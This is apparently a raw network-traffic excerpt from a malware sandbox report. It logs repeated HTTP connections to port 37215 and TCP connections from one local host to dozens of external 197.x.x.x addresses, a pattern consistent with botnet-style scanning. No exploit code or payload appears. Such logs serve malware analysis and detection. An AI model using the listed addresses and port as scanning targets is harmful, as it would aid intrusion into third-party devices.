Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35084 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33528 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.144.98.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.129.147.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.253.68.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.223.239.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.138.207.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.73.154.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.29.54.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.14.246.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.227.167.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.7.203.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.106.143.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.217.226.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.79.201.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.242.76.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.199.41.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.67.58.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.150.246.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.58.71.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.158.31.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.211.136.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.148.64.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.126.39.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.55.255.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.246.7.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.251.187.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.106.43.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.59.161.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.83.137.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.80.142.141:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.214.98.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.177.97.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.135.209.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.70.161.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.204.4.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.8.57.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.160.85.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.32.102.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.159.89.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.216.145.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.2.91.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.107.124.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.145.114.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.187.228.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.144.110.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.134.96.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.232.34.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.231.112.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.70.122.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.209.44.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.183.59.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.139.253.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.180.218.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.120.181.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.225.189.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.73.215.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.157.206.204:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.187.23.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.215.94.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.51.228.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.239.213.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.164.102.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.92.151.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.28.68.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.38.211.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.177.176.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.146.157.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.224.52.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.179.184.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.125.137.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.8.160.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.181.218.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.2.176.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.166.44.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.12.218.29:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.90.239.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.209.84.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.234.200.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.139.28.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.156.227.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.110.51.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.254.161.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.247.9.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.10.218.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.55.185.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.9.47.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.124.83.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.120.201.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.244.7.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.81.201.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.161.105.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.202.84.74:37215
